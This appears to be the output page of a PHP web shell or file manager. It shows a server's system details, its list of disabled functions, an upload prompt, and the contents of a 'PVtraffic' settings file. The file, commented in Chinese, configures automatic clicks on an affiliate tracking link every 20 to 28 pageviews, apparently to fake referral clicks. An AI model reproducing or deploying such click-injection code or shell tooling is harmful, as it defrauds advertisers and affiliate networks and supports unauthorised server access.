HEX
Server: nginx/1.20.2
System: Linux racknerd-d3d1ff4 3.10.0-693.11.6.el7.x86_64 #1 SMP Thu Jan 4 01:06:37 UTC 2018 x86_64
User: www (1000)
PHP: 7.4.33
Disabled: passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
Upload Files
File: /www/wwwroot/www.movieloversky.com/PVtraffic/Setting.php
<?php

//多少pv点击一次,设置可能的点击间隔,多个可能值用逗号隔开
$ClickIntervalArray = array(25,20,28);

//设置点击URL,如果要设置新的点击URL,按顺序添加新的数字即可,如
//,1=>"https://1.envato.market/c/2773116/528319/4415"

$clickURLArray = array(
0 => "https://www.linkbux.com/track/53bcRd_at5tPha1N1ujfvoP_bAovihqDcSOpZUsICXnYfXU_bxaBXSTnesTqEIN_aZcbeipu76IO?url=https%3A%2F%2Fwww.scentbird.com%2F");

//点击URL被点击的概率,要设置新的url只要新添新的变量即可,比如$f=array_fill(0,10,5),其中左边的0不需要改,10表示URL被点击的概率,5对应上面$clickURLArray设置的链接数字
//如果新添了点击URL,比如$f=array_fill(0,10,5),$arr也需要添加,为$arr = array_merge($a,$b,$c,$d,$e,$f);
//链接的概率计算,比如下面的0链接,概率为31/(31+28+23+20+10)

function getClickURL(){
	
$a = array_fill(0,22,0);
$arr = array_merge($a);

shuffle($arr);
$sum = count($arr);
$result = mt_rand(0,$sum-1);	
return $arr[$result];	

	}	
?>